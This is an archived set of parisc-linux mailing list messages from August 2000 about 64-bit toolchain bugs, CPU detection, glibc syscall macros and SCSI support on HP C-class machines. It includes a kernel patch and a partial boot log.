	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 15:47:05 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13SRJl-0001kq-00
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 15:47:17 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7805


The current 64-bit cross compiler dies on drivers/block/rd.c


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit cross compiler broken
Date: Fri, 25 Aug 2000 17:17:53 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <E13SSjR-00050l-00@noam.fc.hp.com>
References: <E13SRJl-0001kq-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619082 3055 80.91.229.3 (22 Nov 2014 01:18:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <amodra@puffin.external.hp.com>
Original-X-From: bame@noam.fc.hp.com  Fri Aug 25 17:17:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA20964
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 17:17:50 -0600
Original-Received: (qmail 14954 invoked by uid 15267); 25 Aug 2000 23:17:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14947 invoked from network); 25 Aug 2000 23:17:47 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 23:17:47 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel2.hp.com (Postfix) with ESMTP id ED6F8494
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 17:17:35 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id RAA17005;
	Fri, 25 Aug 2000 17:17:41 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13SSjR-00050l-00; Fri, 25 Aug 2000 17:17:53 -0600
In-Reply-To: Your message of "Fri, 25 Aug 2000 15:47:17 MDT."
             <E13SRJl-0001kq-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7806

= 
= The current 64-bit cross compiler dies on drivers/block/rd.c
= 

Another 64-bit gotcha: in arch/parisc64/kernel/entry.S:start_parisc_asm
the 'b start_parisc' is branching through a stub and failing miserably.
Linker problem?

	-P


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64 bit linker problem?
Date: Fri, 25 Aug 2000 17:23:06 -0600 (MDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200008252323.RAA22968@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619082 3061 80.91.229.3 (22 Nov 2014 01:18:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: amodra@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Fri Aug 25 17:24:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA21209
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 17:24:24 -0600
Original-Received: (qmail 19880 invoked by uid 15267); 25 Aug 2000 23:24:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19873 invoked from network); 25 Aug 2000 23:24:21 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 23:24:21 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel2.hp.com (Postfix) with ESMTP id 759267ED
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Aug 2000 17:24:10 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id RAA22968; Fri, 25 Aug 2000 17:23:06 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7807


> Another 64-bit gotcha: in arch/parisc64/kernel/entry.S:start_parisc_asm
> the 'b start_parisc' is branching through a stub and failing miserably.
> Linker problem?

Just some more information. The "b start_parisc" appears to branch to
what should be a stub entry. There is nothing there, i.e. it is all
zero's, so we get a break instruction trap.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit cross compiler broken
Date: Sat, 26 Aug 2000 10:59:25 +1000 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008261033140.12171-100000@front.linuxcare.com.au>
References: <E13SSjR-00050l-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619083 3063 80.91.229.3 (22 Nov 2014 01:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Fri Aug 25 19:01:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA22018
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 19:01:39 -0600
Original-Received: (qmail 17048 invoked by uid 15267); 26 Aug 2000 01:01:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17015 invoked from network); 26 Aug 2000 01:01:35 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Aug 2000 01:01:35 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA13336;
	Sat, 26 Aug 2000 10:59:25 +1000
In-Reply-To: <E13SSjR-00050l-00@noam.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7808

On Fri, 25 Aug 2000, Paul Bame wrote:

> = 
> = The current 64-bit cross compiler dies on drivers/block/rd.c
> = 
> 
> Another 64-bit gotcha: in arch/parisc64/kernel/entry.S:start_parisc_asm
> the 'b start_parisc' is branching through a stub and failing miserably.
> Linker problem?

Could be.  The 64-bit binutils port hasn't yet been modified to use
multiple stub sections.  That means a sufficiently large executable may
have branches that can't even reach the stubs, and I don't see any error
checking for this case.

Hmm, "sufficiently large" is 4*2**(22-1) for 22 bit branch offsets,
ie. 8M, so you're hardly likely to have hit that limit.  OK, can you tell
me the reloc type (from objdump -dr entry.o) for the branch?  Also, what
does the stub look like, and most importantly, what values does the stub
load out of the .plt.  I reckon you've probably got a bad .plt value as
the code in bfd/elf64-hppa.c:elf64_hppa_finish_dynamic_symbol for setting
the plt entry looks wrong to me.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 bit linker problem?
Date: Sat, 26 Aug 2000 11:29:21 +1000 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008261117340.12171-100000@front.linuxcare.com.au>
References: <200008252323.RAA22968@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619083 3068 80.91.229.3 (22 Nov 2014 01:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:03 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Fri Aug 25 19:32:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA22369
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 19:32:15 -0600
Original-Received: (qmail 2956 invoked by uid 15267); 26 Aug 2000 01:32:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2941 invoked from network); 26 Aug 2000 01:32:08 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Aug 2000 01:32:08 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA14049;
	Sat, 26 Aug 2000 11:29:21 +1000
In-Reply-To: <200008252323.RAA22968@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7809

On Fri, 25 Aug 2000, John Marvin wrote:

> 
> > Another 64-bit gotcha: in arch/parisc64/kernel/entry.S:start_parisc_asm
> > the 'b start_parisc' is branching through a stub and failing miserably.
> > Linker problem?
> 
> Just some more information. The "b start_parisc" appears to branch to
> what should be a stub entry. There is nothing there, i.e. it is all
> zero's, so we get a break instruction trap.

Yeah.  That's the sort of thing I was expecting.  It appears to me that
only stubs or plt entries for dynamic symbols (ie. in shared libs) are
filled in.  Until we fix the linker, you may be able to work around the
problem by convincing the linker that a stub is not needed for the
branch.  Where is "start_parisc" relative to the branch?  If you know
you'll always need a long branch, why not use a ble?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andre' Breiler" <A.Breiler@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Testing CPU detection
Date: Sat, 26 Aug 2000 10:27:12 +0200 (MET DST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0008260949340.5290-100000@zimt.informatik.tu-chemnitz.de>
References: <20000824174356.K29677@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619083 3075 80.91.229.3 (22 Nov 2014 01:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: A.Breiler@gmx.net  Sat Aug 26 02:27:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA02730
	for <parisc-linux@puffin.external.hp.com>; Sat, 26 Aug 2000 02:27:18 -0600
Original-Received: (qmail 8620 invoked by uid 15267); 26 Aug 2000 08:27:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8595 invoked from network); 26 Aug 2000 08:27:15 -0000
Original-Received: from asterix.hrz.tu-chemnitz.de (134.109.132.84)
  by mailserv2.iuinc.com with SMTP; 26 Aug 2000 08:27:15 -0000
Original-Received: from zimt.informatik.tu-chemnitz.de ([134.109.184.193] helo=zimt)
	by asterix.hrz.tu-chemnitz.de with esmtp (Exim 3.16 #6)
	id 13SbJ3-0003ET-00
	for parisc-linux@thepuffingroup.com; Sat, 26 Aug 2000 10:27:13 +0200
Original-Received: from localhost by zimt (8.9.3+Sun/client-1.5)
	id KAA09912; Sat, 26 Aug 2000 10:27:13 +0200 (MET DST)
X-Sender: anb@zimt.informatik.tu-chemnitz.de
In-Reply-To: <20000824174356.K29677@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7810

On Thu, 24 Aug 2000, Matthew Wilcox wrote:

> It's fine on an A180 -- reports `PA7300LC (PCX-L2)'.  I want to know
> what other machines get.  Thanks in advance to everyone who tests this
> because I expect to be overwhelmed by mail from this :-).  Once I have

On my old 715/33 I get:
CPUID vers 0 rev 0
CPU might be a PA7100 (PCX-T)
CPU(s): 1 x PA7100 (PCX-T) at 33.333500 MHz

It seems ok to me.

Bye Andre'
-- 
eMail: A.Breiler@gmx.net
Type Bits/KeyID    Date       User ID
pub  2048/89D36175 1997/06/20 Andre' Breiler 2048 <A.Breiler@gmx.net> SIG
     Key fingerprint = 8E 9E A2 F8 29 27 CC 94  10 44 0E 40 7A C9 33 10


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] My toolchain whoes...
Date: Sat, 26 Aug 2000 18:49:27 -0500
Organization: @Home Network
Lines: 37
Approved: news@gmane.org
Message-ID: <39A85787.6A917C57@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619084 3080 80.91.229.3 (22 Nov 2014 01:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mhudson@home.com  Sat Aug 26 17:45:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA11094
	for <parisc-linux@puffin.external.hp.com>; Sat, 26 Aug 2000 17:45:34 -0600
Original-Received: (qmail 27851 invoked by uid 15267); 26 Aug 2000 23:45:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27843 invoked from network); 26 Aug 2000 23:45:33 -0000
Original-Received: from ha1.rdc1.ne.home.com (HELO mail.rdc1.ne.home.com) (imail@24.2.4.66)
  by mailserv2.iuinc.com with SMTP; 26 Aug 2000 23:45:33 -0000
Original-Received: from home.com ([24.3.245.88]) by mail.rdc1.ne.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20000826234532.YLCF17075.mail.rdc1.ne.home.com@home.com>
          for <parisc-linux@thepuffingroup.com>;
          Sat, 26 Aug 2000 16:45:32 -0700
X-Mailer: Mozilla 4.61 [en]C-AtHome0407  (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7811


>From a gcc -E -dD

sigaction.c

In function __libc_sigaction

sigaction.c line 83:
      result = INLINE_SYSCALL (rt_sigaction, 4, sig,
                               act ? __ptrvalue (&kact) : NULL,
                               oact ? __ptrvalue (&koact) : NULL, _NSIG
/ 8);

gcc -E -dD output: (sorry I couldn't get this to you sooner willy I got
stuck in the middle of a bad day at work)
result = ({ unsigned long __sys_res; { register unsigned long __res
asm("r28"); register unsigned long __r24 __asm__("r24") = (unsigned
long)oact ? (&k_osigact) : ((void *)0); register unsigned long __r25
__asm__("r25") = (unsigned long)act ? (&k_sigact) : ((void *)0);
register unsigned long __r26__asm__("r26") = (unsigned long)sig; asm
volatile( "ble  0x100(%%sr2, %%r0)\n\t" " ldi %1, %%r20" : "=r" (__res)
: "i" ((__NR_sigaction)) , "r" (__r26), "r" (__r25), "r" (__r24) );
__sys_res = __res; } if (__sys_res >= (unsigned long)-4095) {
(*__errno_location ()) = (-__sys_res); __sys_res == (unsigned long)-1; }
__sys_res; });

undefined symbol: __NR_sigaction

Now, you tell me whats wrong?

My guess is that some how my config is getting mangled, I don't know
how.

Any ideas?

-Matt


From - Thu Nov 08 21:13:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Erik Paulson <epaulson@upl.cs.wisc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW Scsi support?
Date: Sun, 27 Aug 2000 16:52:29 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20000827165229.A18560@data.upl.cs.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619084 3092 80.91.229.3 (22 Nov 2014 01:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: epaulson@data.upl.cs.wisc.edu  Sun Aug 27 15:52:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31818
	for <parisc-linux@puffin.external.hp.com>; Sun, 27 Aug 2000 15:52:37 -0600
Original-Received: (qmail 17067 invoked by uid 15267); 27 Aug 2000 21:52:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17059 invoked from network); 27 Aug 2000 21:52:33 -0000
Original-Received: from data.upl.cs.wisc.edu (root@128.105.45.42)
  by mailserv2.iuinc.com with SMTP; 27 Aug 2000 21:52:33 -0000
Original-Received: (from epaulson@localhost)
	by data.upl.cs.wisc.edu (8.10.2/8.10.2) id e7RLqTg20646
	for parisc-linux@thepuffingroup.com; Sun, 27 Aug 2000 16:52:29 -0500
X-Mailer: Mutt 0.95i
Xref: news.gmane.org gmane.linux.ports.parisc:7812

Hi
	I'm trying to get my C100 and C160 to boot with the CD image. Everything
seems fine, except they don't see the SCSI disk I've got - only the CDROM.

My guess is that they're angry about it being on the FWSCSI, (my CDROM is
on SESCSI)

Is Fastwide SCSI supported? If not, what needs to be done? I didn't see how
to turn it on with 'make config'. Are there docs availble for this hardware?

Thanks!

-Erik


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Pflederer <krp@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW Scsi support?
Date: Sun, 27 Aug 2000 19:54:07 -0500
Lines: 406
Approved: news@gmane.org
Message-ID: <20000827195407.K998@localhost.localdomain>
References: <20000827165229.A18560@data.upl.cs.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="HcAYCG3uE/tztfnV"
X-Trace: ger.gmane.org 1416619084 3099 80.91.229.3 (22 Nov 2014 01:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Erik Paulson <epaulson@upl.cs.wisc.edu>
Original-X-From: krp@rsn.hp.com  Sun Aug 27 18:51:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA00694
	for <parisc-linux@puffin.external.hp.com>; Sun, 27 Aug 2000 18:51:38 -0600
Original-Received: (qmail 17717 invoked by uid 15267); 28 Aug 2000 00:51:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17707 invoked from network); 28 Aug 2000 00:51:34 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 00:51:34 -0000
Original-Received: from cmail2.rsn.hp.com (cmail2.rsn.hp.com [15.99.101.1])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 574222F2B; Sun, 27 Aug 2000 20:51:33 -0400 (EDT)
Original-Received: from localhost.localdomain (root@rsnext154.rsn.hp.com [15.99.248.154]) by cmail2.rsn.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.0) id TAA18994; Sun, 27 Aug 2000 19:51:31 -0500 (CDT)
Original-Received: (from krp@localhost)
	by localhost.localdomain (8.9.3/8.8.7) id TAA27294;
	Sun, 27 Aug 2000 19:54:07 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20000827165229.A18560@data.upl.cs.wisc.edu>; from epaulson@upl.cs.wisc.edu on Sun, Aug 27, 2000 at 04:52:29PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7813


--HcAYCG3uE/tztfnV
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

There have been some fixes to the kernel since the CDROM image was made
to get the U2 IO controller working correctly.  Also, I still need to apply 
the attached patch to get my C180 working.  The C160 should be the same as
C180 except for the frequency.  The C100 uses a PA7200 CPU instead of
PA8000 CPU and will not work with my entry.S changes, but may work if you
remove that portion of the patch.

My CDROM is not fastwide SCSI, but the kernel does detect the fastwide SCSI
harddrive.  I boot by LAN, but am able to mount CDROMs.

-Bob Pflederer

On Sun, Aug 27, 2000 at 04:52:29PM -0500, Erik Paulson wrote:
> Hi
> 	I'm trying to get my C100 and C160 to boot with the CD image. Everything
> seems fine, except they don't see the SCSI disk I've got - only the CDROM.
> 
> My guess is that they're angry about it being on the FWSCSI, (my CDROM is
> on SESCSI)
> 
> Is Fastwide SCSI supported? If not, what needs to be done? I didn't see how
> to turn it on with 'make config'. Are there docs availble for this hardware?
> 
> Thanks!
> 
> -Erik
> 

--HcAYCG3uE/tztfnV
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="c180.patch"

Index: arch/parisc/kernel/ccio-dma.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/arch/parisc/kernel/ccio-dma.c,v
retrieving revision 1.3
diff -u -p -r1.3 ccio-dma.c
--- ccio-dma.c	2000/08/24 05:06:38	1.3
+++ ccio-dma.c	2000/08/28 00:35:36
@@ -53,8 +53,8 @@
 */
 #define MODULE_NAME "ccio"
 
-/*
 #define DEBUG_CCIO_INIT
+/*
 #define DEBUG_CCIO_RUN
 #define DEBUG_CCIO_RES
 */
@@ -785,6 +785,15 @@ STATIC void ccio_unmap_sg(struct pci_dev
 	return;
 }
 
+void
+ccio_dma_sync_single(struct pci_dev *dev, dma_addr_t iova, size_t size, int direction)
+{
+}
+
+void
+ccio_dma_sync_sg(struct pci_dev *dev, struct scatterlist *sg, int nelems, int direction)
+{
+}
 
 STATIC struct pci_dma_ops ccio_ops = {
 	ccio_dma_supported,
@@ -794,8 +803,8 @@ STATIC struct pci_dma_ops ccio_ops = {
 	ccio_unmap_single,
 	ccio_map_sg,
 	ccio_unmap_sg,
-	NULL,                   /* dma_sync_single : NOP for U2/Uturn */
-	NULL,                   /* dma_sync_sg     : ditto */
+	ccio_dma_sync_single,                   /* dma_sync_single : NOP for U2/Uturn */
+	ccio_dma_sync_sg,                   /* dma_sync_sg     : ditto */
 };
 
 
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/arch/parisc/kernel/entry.S,v
retrieving revision 1.25
diff -u -p -r1.25 entry.S
--- entry.S	2000/08/24 23:05:17	1.25
+++ entry.S	2000/08/28 00:35:45
@@ -637,6 +637,8 @@ dtlb_miss:
 	depi		1,12,1,prot
 	extru,=         pte,_PAGE_USER_BIT,1,r0
 	depi		7,11,3,prot /* Set for user space (1 rsvd for read) */
+	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
+	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
 
 	/* Get rid of prot bits and convert to page addr for idtlba */
 
@@ -646,9 +648,18 @@ dtlb_miss:
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
+/*
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
 
+        depd    pte,31,32,pte
+        depdi   0,45,14,pte
+	idtlbt		pte,prot
+*/
+	.word		0xf2310c00
+	.word		0xf6200652
+	.word		0x06301800
+
 	mtsp		t0, %sr1     /* Restore sr1 */
 
 	rfir
@@ -694,6 +705,8 @@ itlb_miss_common:
 	copy            spc,prot        /* init prot with faulting space */
 	dep		pte,8,7,prot
 
+	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
+	depi		1,12,1,prot
 	extru,=         pte,_PAGE_USER_BIT,1,r0
 	depi		7,11,3,prot /* Set for user space (1 rsvd for read) */
 	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
@@ -706,10 +719,19 @@ itlb_miss_common:
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
-
+/*
 	iitlba		pte,(%sr1,va)
 	iitlbp		prot,(%sr1,va)
+        depd    pte,31,32,pte
+        depdi   0,45,14,pte
+	iitlbt		pte,prot
+*/
+
+	.word		0xf2310c00
+	.word		0xf6200652
+	.word		0x06300800
 
+
 	mtsp		t0, %sr1     /* Restore sr1 */
 
 	rfir
@@ -755,6 +777,8 @@ dbit_trap:
 	depi		1,12,1,prot
 	extru,=         pte,_PAGE_USER_BIT,1,r0
 	depi		7,11,3,prot /* Set for user space (1 rsvd for read) */
+	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
+	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
 
 	/* Get rid of prot bits and convert to page addr for idtlba */
 
@@ -763,9 +787,17 @@ dbit_trap:
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
-
+/*
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
+
+        depd    pte,31,32,pte
+        depdi   0,45,14,pte
+	idtlbt		pte,prot
+*/
+	.word		0xf2310c00
+	.word		0xf6200652
+	.word		0x06301800
 
 	mtsp		t0, %sr1     /* Restore sr1 */
 

--HcAYCG3uE/tztfnV
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="c180.log"
Content-Transfer-Encoding: quoted-printable


=0DMain Menu: Enter command >=20
=0DMain Menu: Enter command > bo lan
=0DInteract with IPL (Y, N, Q)?> y
=0D=0D
Booting... =0D
Network Station Address 0060b0-1839c0=0D
System IP Address 192.168.0.250=0D
Server IP Address 192.168.0.1=0D
=0D
Boot IO Dependent Code (IODC) revision 2=0D
=0D
=0D
HARD Booted.=0D
palo ipl krp@localhost.localdomain Sun Aug 27 19:34:20 CDT 2000=0D
0/vmlinux 2087866 bytes @ 0x6800=0D
0/palo-cmdline '0/vmlinux HOME=3D/ TERM=3DLINUX root=3D/dev/nfs nfsroot=3D1=
92.168.0.7 '=0D
0/vmlinux HOME=3D/ TERM=3DLINUX root=3D/dev/nfs nfsroot=3D192.168.0.7 =0D
Kernel: partition 0 file /vmlinux=0D
ELF32 executable
=0D
Entry 00100000 first 00100000 n 4=0D
Segment 0 load 00100000 size 1510260 mediaptr 0x1000=0D
Segment 1 load 00272000 size 115444 mediaptr 0x172000=0D
Segment 2 load 00290000 size 115080 mediaptr 0x18f000=0D
Segment 3 load 002b0000 size 8192 mediaptr 0x1ac000=0D
branching to kernel entry point 0x00100000=0D
pdc_cons registered !=0D
The Kernel has started...=0D
Free memory starts at: 0xc02e1000=0D
PALO command line: 'HOME=3D/ TERM=3DLINUX root=3D/dev/nfs nfsroot=3D192.168=
.0.7 '=0D
PALO initrd 0-0=0D
FP CCR was 0x0, will be set to 0xc0=0D
model   000059c0 00000481 00000000 00000002 77422781 100000f0 00000008 0000=
00b2 000000b2=0D
vers    00000205=0D
cpuid   000001c9=0D
CPUID vers 14 rev 9=0D
CPU might be a PA8000 (PCX-U)=0D
CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz=0D
Searching for devices in PDC firmware... a newer box...=0D
Found devices:=0D
1. Unknown device (4) at 0xf200c000, versions 0x3b, 0x0, 0x89, 0x0, 0x80=0D
2. Raven U/L2 Core BA (11) at 0xffd00000, versions 0x3b, 0x0, 0x81, 0x0, 0x=
0=0D
